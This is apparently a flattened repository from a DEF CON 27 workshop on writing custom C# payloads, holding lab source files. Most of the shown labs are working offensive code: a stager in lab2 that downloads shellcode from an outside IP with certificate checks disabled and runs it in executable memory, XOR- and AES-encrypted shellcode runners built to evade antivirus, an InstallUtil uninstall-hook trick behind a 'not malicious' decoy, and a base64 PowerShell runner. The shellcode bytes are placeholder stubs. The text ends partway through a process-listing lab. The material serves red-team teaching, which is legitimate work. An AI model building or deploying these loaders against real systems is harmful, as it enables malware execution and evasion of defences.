├── .gitignore ├── LabGuide └── WritingCustomPayloads_Defcon27_LabGuide.pdf ├── Labs ├── lab1 │ ├── 1.cs │ └── 2.cs ├── lab2 │ ├── 1.cs │ └── 2.cs ├── lab3 │ ├── 1.cs │ └── 2.cs ├── lab4 │ ├── 1.cs │ ├── 2.cs │ ├── 3.cs │ └── 4.cs ├── lab5 │ ├── 1.cs │ └── 2.cs ├── lab6 │ ├── 1.cs │ ├── 2.cs │ ├── 3.cs │ ├── MessageBoxDll │ │ └── MessageBoxDll.cpp │ └── ShellcodeInjectionDll │ │ └── ShellcodeInjection.cpp ├── lab7 │ ├── 1.cs │ ├── 2.cs │ └── 3.cs └── lab8 │ └── 1.cs ├── README.md └── Slides └── WritingCustomPayloads_Defcon27_Slides.pdf /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.suo 8 | *.user 9 | *.userosscache 10 | *.sln.docstates 11 | 12 | # User-specific files (MonoDevelop/Xamarin Studio) 13 | *.userprefs 14 | 15 | # Build results 16 | [Dd]ebug/ 17 | [Dd]ebugPublic/ 18 | [Rr]elease/ 19 | [Rr]eleases/ 20 | x64/ 21 | x86/ 22 | bld/ 23 | [Bb]in/ 24 | [Oo]bj/ 25 | [Ll]og/ 26 | 27 | # Visual Studio 2015/2017 cache/options directory 28 | .vs/ 29 | # Uncomment if you have tasks that create the project's static files in wwwroot 30 | #wwwroot/ 31 | 32 | # Visual Studio 2017 auto generated files 33 | Generated\ Files/ 34 | 35 | # MSTest test Results 36 | [Tt]est[Rr]esult*/ 37 | [Bb]uild[Ll]og.* 38 | 39 | # NUNIT 40 | *.VisualState.xml 41 | TestResult.xml 42 | 43 | # Build Results of an ATL Project 44 | [Dd]ebugPS/ 45 | [Rr]eleasePS/ 46 | dlldata.c 47 | 48 | # Benchmark Results 49 | BenchmarkDotNet.Artifacts/ 50 | 51 | # .NET Core 52 | project.lock.json 53 | project.fragment.lock.json 54 | artifacts/ 55 | **/Properties/launchSettings.json 56 | 57 | # StyleCop 58 | StyleCopReport.xml 59 | 60 | # Files built by Visual Studio 61 | *_i.c 62 | *_p.c 63 | *_i.h 64 | *.ilk 65 | *.meta 66 | *.obj 67 | *.iobj 68 | *.pch 69 | *.pdb 70 | *.ipdb 71 | *.pgc 72 | *.pgd 73 | *.rsp 74 | *.sbr 75 | *.tlb 76 | *.tli 77 | *.tlh 78 | *.tmp 79 | *.tmp_proj 80 | *.log 81 | *.vspscc 82 | *.vssscc 83 | .builds 84 | *.pidb 85 | *.svclog 86 | *.scc 87 | 88 | # Chutzpah Test files 89 | _Chutzpah* 90 | 91 | # Visual C++ cache files 92 | ipch/ 93 | *.aps 94 | *.ncb 95 | *.opendb 96 | *.opensdf 97 | *.sdf 98 | *.cachefile 99 | *.VC.db 100 | *.VC.VC.opendb 101 | 102 | # Visual Studio profiler 103 | *.psess 104 | *.vsp 105 | *.vspx 106 | *.sap 107 | 108 | # Visual Studio Trace Files 109 | *.e2e 110 | 111 | # TFS 2012 Local Workspace 112 | $tf/ 113 | 114 | # Guidance Automation Toolkit 115 | *.gpState 116 | 117 | # ReSharper is a .NET coding add-in 118 | _ReSharper*/ 119 | *.[Rr]e[Ss]harper 120 | *.DotSettings.user 121 | 122 | # JustCode is a .NET coding add-in 123 | .JustCode 124 | 125 | # TeamCity is a build add-in 126 | _TeamCity* 127 | 128 | # DotCover is a Code Coverage Tool 129 | *.dotCover 130 | 131 | # AxoCover is a Code Coverage Tool 132 | .axoCover/* 133 | !.axoCover/settings.json 134 | 135 | # Visual Studio code coverage results 136 | *.coverage 137 | *.coveragexml 138 | 139 | # NCrunch 140 | _NCrunch_* 141 | .*crunch*.local.xml 142 | nCrunchTemp_* 143 | 144 | # MightyMoose 145 | *.mm.* 146 | AutoTest.Net/ 147 | 148 | # Web workbench (sass) 149 | .sass-cache/ 150 | 151 | # Installshield output folder 152 | [Ee]xpress/ 153 | 154 | # DocProject is a documentation generator add-in 155 | DocProject/buildhelp/ 156 | DocProject/Help/*.HxT 157 | DocProject/Help/*.HxC 158 | DocProject/Help/*.hhc 159 | DocProject/Help/*.hhk 160 | DocProject/Help/*.hhp 161 | DocProject/Help/Html2 162 | DocProject/Help/html 163 | 164 | # Click-Once directory 165 | publish/ 166 | 167 | # Publish Web Output 168 | *.[Pp]ublish.xml 169 | *.azurePubxml 170 | # Note: Comment the next line if you want to checkin your web deploy settings, 171 | # but database connection strings (with potential passwords) will be unencrypted 172 | *.pubxml 173 | *.publishproj 174 | 175 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 176 | # checkin your Azure Web App publish settings, but sensitive information contained 177 | # in these scripts will be unencrypted 178 | PublishScripts/ 179 | 180 | # NuGet Packages 181 | *.nupkg 182 | # The packages folder can be ignored because of Package Restore 183 | **/[Pp]ackages/* 184 | # except build/, which is used as an MSBuild target. 185 | !**/[Pp]ackages/build/ 186 | # Uncomment if necessary however generally it will be regenerated when needed 187 | #!**/[Pp]ackages/repositories.config 188 | # NuGet v3's project.json files produces more ignorable files 189 | *.nuget.props 190 | *.nuget.targets 191 | 192 | # Microsoft Azure Build Output 193 | csx/ 194 | *.build.csdef 195 | 196 | # Microsoft Azure Emulator 197 | ecf/ 198 | rcf/ 199 | 200 | # Windows Store app package directories and files 201 | AppPackages/ 202 | BundleArtifacts/ 203 | Package.StoreAssociation.xml 204 | _pkginfo.txt 205 | *.appx 206 | 207 | # Visual Studio cache files 208 | # files ending in .cache can be ignored 209 | *.[Cc]ache 210 | # but keep track of directories ending in .cache 211 | !*.[Cc]ache/ 212 | 213 | # Others 214 | ClientBin/ 215 | ~$* 216 | *~ 217 | *.dbmdl 218 | *.dbproj.schemaview 219 | *.jfm 220 | *.pfx 221 | *.publishsettings 222 | orleans.codegen.cs 223 | 224 | # Including strong name files can present a security risk 225 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 226 | #*.snk 227 | 228 | # Since there are multiple workflows, uncomment next line to ignore bower_components 229 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 230 | #bower_components/ 231 | 232 | # RIA/Silverlight projects 233 | Generated_Code/ 234 | 235 | # Backup & report files from converting an old project file 236 | # to a newer Visual Studio version. Backup files are not needed, 237 | # because we have git ;-) 238 | _UpgradeReport_Files/ 239 | Backup*/ 240 | UpgradeLog*.XML 241 | UpgradeLog*.htm 242 | ServiceFabricBackup/ 243 | *.rptproj.bak 244 | 245 | # SQL Server files 246 | *.mdf 247 | *.ldf 248 | *.ndf 249 | 250 | # Business Intelligence projects 251 | *.rdl.data 252 | *.bim.layout 253 | *.bim_*.settings 254 | *.rptproj.rsuser 255 | 256 | # Microsoft Fakes 257 | FakesAssemblies/ 258 | 259 | # GhostDoc plugin setting file 260 | *.GhostDoc.xml 261 | 262 | # Node.js Tools for Visual Studio 263 | .ntvs_analysis.dat 264 | node_modules/ 265 | 266 | # Visual Studio 6 build log 267 | *.plg 268 | 269 | # Visual Studio 6 workspace options file 270 | *.opt 271 | 272 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 273 | *.vbw 274 | 275 | # Visual Studio LightSwitch build output 276 | **/*.HTMLClient/GeneratedArtifacts 277 | **/*.DesktopClient/GeneratedArtifacts 278 | **/*.DesktopClient/ModelManifest.xml 279 | **/*.Server/GeneratedArtifacts 280 | **/*.Server/ModelManifest.xml 281 | _Pvt_Extensions 282 | 283 | # Paket dependency manager 284 | .paket/paket.exe 285 | paket-files/ 286 | 287 | # FAKE - F# Make 288 | .fake/ 289 | 290 | # JetBrains Rider 291 | .idea/ 292 | *.sln.iml 293 | 294 | # CodeRush 295 | .cr/ 296 | 297 | # Python Tools for Visual Studio (PTVS) 298 | __pycache__/ 299 | *.pyc 300 | 301 | # Cake - Uncomment if you are using it 302 | # tools/** 303 | # !tools/packages.config 304 | 305 | # Tabs Studio 306 | *.tss 307 | 308 | # Telerik's JustMock configuration file 309 | *.jmconfig 310 | 311 | # BizTalk build output 312 | *.btp.cs 313 | *.btm.cs 314 | *.odx.cs 315 | *.xsd.cs 316 | 317 | # OpenCover UI analysis results 318 | OpenCover/ 319 | 320 | # Azure Stream Analytics local run output 321 | ASALocalRun/ 322 | 323 | # MSBuild Binary and Structured Log 324 | *.binlog 325 | 326 | # NVidia Nsight GPU debugger configuration file 327 | *.nvuser 328 | 329 | # MFractors (Xamarin productivity tool) working folder 330 | .mfractor/ 331 | -------------------------------------------------------------------------------- /LabGuide/WritingCustomPayloads_Defcon27_LabGuide.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mvelazc0/defcon27_csharp_workshop/5652b2c351ccdc4e5af7e719e8f5eea737455ee8/LabGuide/WritingCustomPayloads_Defcon27_LabGuide.pdf -------------------------------------------------------------------------------- /Labs/lab1/1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | class Program 4 | { 5 | static void Main() 6 | { 7 | Console.WriteLine("Hello World!"); 8 | Console.WriteLine("Press any key to exit."); 9 | Console.ReadKey(); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /Labs/lab1/2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | public class Program 5 | { 6 | [DllImport("user32.dll", CharSet = CharSet.Unicode)] 7 | public static extern int MessageBox(IntPtr hWnd, String text, String caption, uint type); 8 | 9 | static void Main() 10 | { 11 | MessageBox(new IntPtr(0), "Hello World from user32's MessageBox!!", "Important Dialog", 0); 12 | } 13 | } -------------------------------------------------------------------------------- /Labs/lab2/1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Net; 4 | 5 | class Program 6 | { 7 | static void Main() 8 | { 9 | WebClient wclient = new WebClient(); 10 | wclient.Headers["User-Agent"] ="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"; 11 | byte[] response = wclient.DownloadData("https://www.google.com/"); 12 | Console.WriteLine("Downloaded Bytes"); 13 | Console.WriteLine(response.Length); 14 | string html = Encoding.ASCII.GetString(response); 15 | Console.WriteLine("HTML Content"); 16 | Console.WriteLine(html); 17 | } 18 | } -------------------------------------------------------------------------------- /Labs/lab2/2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Text; 4 | using System.Configuration.Install; 5 | using System.Runtime.InteropServices; 6 | using System.Security.Cryptography.X509Certificates; 7 | 8 | public class Program 9 | { 10 | 11 | //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 12 | [DllImport("kernel32")] 13 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 14 | 15 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread 16 | [DllImport("kernel32")] 17 | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); 18 | 19 | //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject 20 | [DllImport("kernel32")] 21 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 22 | 23 | private static UInt32 MEM_COMMIT = 0x1000; 24 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 25 | 26 | 27 | public static void Main() 28 | { 29 | string url = "https://192.168.0.35:8080/nD7qcbYj8eZVilSICKHiKQ5d9UJt8wcsY3KVBWrtBEvK9mbfbWNqZ9sf1"; 30 | Stager(url); 31 | } 32 | 33 | public static void Stager(string url) 34 | { 35 | 36 | WebClient wc = new WebClient(); 37 | wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"); 38 | ServicePointManager.Expect100Continue = true; 39 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12; 40 | ServicePointManager.ServerCertificateValidationCallback = delegate { return true; }; 41 | 42 | byte[] shellcode = wc.DownloadData(url); 43 | 44 | UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 45 | Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); 46 | IntPtr threatHandle = IntPtr.Zero; 47 | UInt32 threadId = 0; 48 | IntPtr parameter = IntPtr.Zero; 49 | threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); 50 | WaitForSingleObject(threatHandle, 0xFFFFFFFF); 51 | 52 | } 53 | 54 | 55 | 56 | } -------------------------------------------------------------------------------- /Labs/lab3/1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | class Program 5 | { 6 | 7 | //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 8 | [DllImport("kernel32")] 9 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 10 | 11 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread 12 | [DllImport("kernel32")] 13 | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); 14 | 15 | //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject 16 | [DllImport("kernel32")] 17 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 18 | 19 | private static UInt32 MEM_COMMIT = 0x1000; 20 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 21 | 22 | 23 | static void Main() 24 | { 25 | IntPtr threatHandle = IntPtr.Zero; 26 | UInt32 threadId = 0; 27 | IntPtr parameter = IntPtr.Zero; 28 | 29 | //msfvenom -a x64 -p windows/x64/messagebox Text="Hello from shellcode !" -f csharp 30 | byte[] shellcode = new byte[1] { 0xfc }; 31 | 32 | 33 | UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 34 | Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); 35 | threatHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); 36 | WaitForSingleObject(threatHandle, 0xFFFFFFFF); 37 | 38 | return; 39 | } 40 | } -------------------------------------------------------------------------------- /Labs/lab3/2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Net; 3 | using System.Diagnostics; 4 | using System.Reflection; 5 | using System.Configuration.Install; 6 | using System.Runtime.InteropServices; 7 | 8 | 9 | public class Program 10 | { 11 | public static void Main() 12 | { 13 | Console.WriteLine("I am not malicious :)"); 14 | Console.ReadKey(); 15 | } 16 | 17 | } 18 | 19 | [System.ComponentModel.RunInstaller(true)] 20 | public class Sample : System.Configuration.Install.Installer 21 | { 22 | public override void Uninstall(System.Collections.IDictionary savedState) 23 | { 24 | LegitInstaller.Run(); 25 | } 26 | 27 | } 28 | 29 | public class LegitInstaller 30 | { 31 | 32 | public static void Run() 33 | { 34 | Process.Start("notepad.exe"); 35 | Console.ReadKey(); 36 | 37 | } 38 | 39 | } -------------------------------------------------------------------------------- /Labs/lab4/1.cs: -------------------------------------------------------------------------------- 1 | 2 | using System; 3 | using System.IO; 4 | using System.Text; 5 | 6 | 7 | public class Program 8 | { 9 | 10 | private static byte[] xor(byte[] cipher, byte[] key) 11 | { 12 | 13 | byte[] xored = new byte[cipher.Length]; 14 | 15 | for (int i = 0; i < cipher.Length; i++) 16 | { 17 | xored[i] = (byte)(cipher[i] ^ key[i % key.Length]); 18 | } 19 | 20 | return xored; 21 | } 22 | 23 | 24 | static void Main() 25 | { 26 | string key = "ABCDE"; 27 | 28 | byte[] shellcode = new byte[1] { 0xfc }; 29 | byte[] xorshellcode; 30 | 31 | xorshellcode = xor(shellcode, Encoding.ASCII.GetBytes(key)); 32 | StringBuilder newshellcode = new StringBuilder(); 33 | newshellcode.Append("byte[] shellcode = new byte["); 34 | newshellcode.Append(xorshellcode.Length); 35 | newshellcode.Append("] { "); 36 | for (int i = 0; i < xorshellcode.Length; i++) 37 | { 38 | newshellcode.Append("0x"); 39 | newshellcode.AppendFormat("{0:x2}", xorshellcode[i]); 40 | if (i < xorshellcode.Length - 1) 41 | { 42 | newshellcode.Append(", "); 43 | } 44 | 45 | } 46 | newshellcode.Append(" };"); 47 | Console.WriteLine(newshellcode.ToString()); 48 | 49 | 50 | return; 51 | } 52 | } -------------------------------------------------------------------------------- /Labs/lab4/2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Runtime.InteropServices; 4 | 5 | 6 | public class Program 7 | { 8 | 9 | //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 10 | [DllImport("kernel32")] 11 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 12 | 13 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread 14 | [DllImport("kernel32")] 15 | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); 16 | 17 | //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject 18 | [DllImport("kernel32")] 19 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 20 | 21 | [DllImport("user32.dll")] 22 | static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 23 | 24 | [DllImport("kernel32")] 25 | static extern IntPtr GetConsoleWindow(); 26 | 27 | private static UInt32 MEM_COMMIT = 0x1000; 28 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 29 | 30 | private static byte[] xor(byte[] cipher, byte[] key) 31 | { 32 | byte[] xored = new byte[cipher.Length]; 33 | 34 | for (int i = 0; i < cipher.Length; i++) 35 | { 36 | xored[i] = (byte)(cipher[i] ^ key[i % key.Length]); 37 | } 38 | 39 | return xored; 40 | } 41 | 42 | 43 | static void Main() 44 | { 45 | string key = "ABCD"; 46 | 47 | byte[] xorshellcode = new byte[1] { 0xbd }; 48 | 49 | byte[] shellcode; 50 | shellcode = xor(xorshellcode, Encoding.ASCII.GetBytes(key)); 51 | 52 | UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 53 | Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); 54 | IntPtr threadHandle = IntPtr.Zero; 55 | UInt32 threadId = 0; 56 | IntPtr parameter = IntPtr.Zero; 57 | threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); 58 | WaitForSingleObject(threadHandle, 0xFFFFFFFF); 59 | return; 60 | } 61 | } -------------------------------------------------------------------------------- /Labs/lab4/3.cs: -------------------------------------------------------------------------------- 1 | //Taken from https://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt 2 | 3 | using System.Security.Cryptography; 4 | using System.IO; 5 | using System.Text; 6 | using System; 7 | 8 | public class Program 9 | { 10 | 11 | static void Main() 12 | { 13 | byte[] shellcode = new byte[1] { 0xfc }; 14 | 15 | byte[] passwordBytes = Encoding.UTF8.GetBytes("pass"); 16 | 17 | passwordBytes = SHA256.Create().ComputeHash(passwordBytes); 18 | 19 | byte[] bytesEncrypted = AES_Encrypt(shellcode, passwordBytes); 20 | 21 | StringBuilder newshellcode = new StringBuilder(); 22 | newshellcode.Append("byte[] shellcode = new byte["); 23 | newshellcode.Append(bytesEncrypted.Length); 24 | newshellcode.Append("] { "); 25 | for (int i = 0; i < bytesEncrypted.Length; i++) 26 | { 27 | newshellcode.Append("0x"); 28 | newshellcode.AppendFormat("{0:x2}", bytesEncrypted[i]); 29 | if (i < bytesEncrypted.Length - 1) 30 | { 31 | newshellcode.Append(", "); 32 | } 33 | 34 | } 35 | newshellcode.Append(" };"); 36 | Console.WriteLine(newshellcode.ToString()); 37 | Console.WriteLine(""); 38 | Console.WriteLine(""); 39 | 40 | byte[] decrypted = AES_Decrypt(bytesEncrypted, passwordBytes); 41 | 42 | StringBuilder newshellcode2 = new StringBuilder(); 43 | newshellcode2.Append("byte[] shellcode2 = new byte["); 44 | newshellcode2.Append(decrypted.Length); 45 | newshellcode2.Append("] { "); 46 | for (int i = 0; i < decrypted.Length; i++) 47 | { 48 | newshellcode2.Append("0x"); 49 | newshellcode2.AppendFormat("{0:x2}", decrypted[i]); 50 | if (i < decrypted.Length - 1) 51 | { 52 | newshellcode2.Append(", "); 53 | } 54 | 55 | } 56 | newshellcode2.Append(" };"); 57 | Console.WriteLine(newshellcode2.ToString()); 58 | 59 | 60 | 61 | 62 | } 63 | 64 | public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) 65 | { 66 | byte[] encryptedBytes = null; 67 | 68 | byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; 69 | 70 | using (MemoryStream ms = new MemoryStream()) 71 | { 72 | using (RijndaelManaged AES = new RijndaelManaged()) 73 | { 74 | AES.KeySize = 256; 75 | AES.BlockSize = 128; 76 | 77 | var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000); 78 | AES.Key = key.GetBytes(AES.KeySize / 8); 79 | AES.IV = key.GetBytes(AES.BlockSize / 8); 80 | 81 | AES.Mode = CipherMode.CBC; 82 | 83 | using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) 84 | { 85 | cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length); 86 | cs.Close(); 87 | } 88 | encryptedBytes = ms.ToArray(); 89 | } 90 | } 91 | 92 | return encryptedBytes; 93 | } 94 | 95 | public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes) 96 | { 97 | byte[] decryptedBytes = null; 98 | byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; 99 | 100 | using (MemoryStream ms = new MemoryStream()) 101 | { 102 | using (RijndaelManaged AES = new RijndaelManaged()) 103 | { 104 | AES.KeySize = 256; 105 | AES.BlockSize = 128; 106 | 107 | var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000); 108 | AES.Key = key.GetBytes(AES.KeySize / 8); 109 | AES.IV = key.GetBytes(AES.BlockSize / 8); 110 | 111 | AES.Mode = CipherMode.CBC; 112 | 113 | using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) 114 | { 115 | cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length); 116 | cs.Close(); 117 | } 118 | decryptedBytes = ms.ToArray(); 119 | } 120 | } 121 | 122 | return decryptedBytes; 123 | } 124 | } -------------------------------------------------------------------------------- /Labs/lab4/4.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Text; 4 | using System.Security.Cryptography; 5 | using System.Runtime.InteropServices; 6 | 7 | 8 | public class Program 9 | { 10 | 11 | //https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc 12 | [DllImport("kernel32")] 13 | private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); 14 | 15 | //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread 16 | [DllImport("kernel32")] 17 | private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId); 18 | 19 | //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject 20 | [DllImport("kernel32")] 21 | private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); 22 | 23 | [DllImport("user32.dll")] 24 | static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); 25 | 26 | [DllImport("kernel32")] 27 | static extern IntPtr GetConsoleWindow(); 28 | 29 | private static UInt32 MEM_COMMIT = 0x1000; 30 | private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; 31 | 32 | public static void Main() 33 | { 34 | 35 | byte[] passwordBytes = Encoding.UTF8.GetBytes("password"); 36 | passwordBytes = SHA256.Create().ComputeHash(passwordBytes); 37 | 38 | byte[] aesshellcode = new byte[1] { 0x72 }; 39 | byte[] shellcode = AES_Decrypt(aesshellcode, passwordBytes); 40 | 41 | UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 42 | Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length); 43 | IntPtr threadHandle = IntPtr.Zero; 44 | UInt32 threadId = 0; 45 | IntPtr parameter = IntPtr.Zero; 46 | threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId); 47 | WaitForSingleObject(threadHandle, 0xFFFFFFFF); 48 | return; 49 | 50 | } 51 | 52 | 53 | public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes) 54 | { 55 | byte[] encryptedBytes = null; 56 | byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; 57 | 58 | using (MemoryStream ms = new MemoryStream()) 59 | { 60 | using (RijndaelManaged AES = new RijndaelManaged()) 61 | { 62 | AES.KeySize = 256; 63 | AES.BlockSize = 128; 64 | 65 | var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000); 66 | AES.Key = key.GetBytes(AES.KeySize / 8); 67 | AES.IV = key.GetBytes(AES.BlockSize / 8); 68 | 69 | AES.Mode = CipherMode.CBC; 70 | 71 | using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write)) 72 | { 73 | cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length); 74 | cs.Close(); 75 | } 76 | encryptedBytes = ms.ToArray(); 77 | } 78 | } 79 | 80 | return encryptedBytes; 81 | } 82 | 83 | public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes) 84 | { 85 | byte[] decryptedBytes = null; 86 | byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 }; 87 | 88 | using (MemoryStream ms = new MemoryStream()) 89 | { 90 | using (RijndaelManaged AES = new RijndaelManaged()) 91 | { 92 | AES.KeySize = 256; 93 | AES.BlockSize = 128; 94 | 95 | var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000); 96 | AES.Key = key.GetBytes(AES.KeySize / 8); 97 | AES.IV = key.GetBytes(AES.BlockSize / 8); 98 | 99 | AES.Mode = CipherMode.CBC; 100 | 101 | using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write)) 102 | { 103 | cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length); 104 | cs.Close(); 105 | } 106 | decryptedBytes = ms.ToArray(); 107 | } 108 | } 109 | 110 | return decryptedBytes; 111 | } 112 | 113 | } -------------------------------------------------------------------------------- /Labs/lab5/1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Management.Automation; 6 | using System.Collections.ObjectModel; 7 | 8 | public class Program 9 | { 10 | public static void Main() 11 | { 12 | 13 | PowerShell ps1 = PowerShell.Create(); 14 | ps1.AddScript("Start-Process calc.exe"); 15 | ps1.Invoke(); 16 | 17 | 18 | PowerShell ps2 = PowerShell.Create(); 19 | ps2.AddCommand("Get-Process"); 20 | Collection PSOutput = ps2.Invoke(); 21 | foreach (PSObject outputItem in PSOutput) 22 | { 23 | if (outputItem != null) 24 | { 25 | Console.WriteLine(outputItem); 26 | } 27 | } 28 | 29 | 30 | } 31 | } -------------------------------------------------------------------------------- /Labs/lab5/2.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Management.Automation; 6 | using System.Collections.ObjectModel; 7 | 8 | public class Program 9 | { 10 | public static void Main() 11 | { 12 | PowerShell pstest = PowerShell.Create(); 13 | String script = ""; 14 | script = System.Text.Encoding.Unicode.GetString(System.Convert.FromBase64String(script)); 15 | pstest.AddScript(script); 16 | Collection output = null; 17 | output = pstest.Invoke(); 18 | } 19 | } -------------------------------------------------------------------------------- /Labs/lab6/1.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Reflection; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Text; 6 | 7 | 8 | public class Program 9 | { 10 | 11 | 12 | public static void Main() 13 | { 14 | Console.WriteLine("Listing all processes..."); 15 | Console.WriteLine("--------------------------------------------------------------------"); 16 | 17 | Process[] procs = Process.GetProcesses(); 18 | foreach (Process proc in procs) 19 | { 20 | try 21 | { 22 | Console.WriteLine("Name:" + proc.ProcessName + " Path:" + proc.MainModule.FileName + " Id:" + proc.Id); 23 | } 24 | catch 25 | { 26 | continue; 27 | } 28 | } 29 | Console.WriteLine("--------------------------------------------------------------------\n"); 30 | Console.WriteLine("Enter Id to inspect:"); 31 | int val; 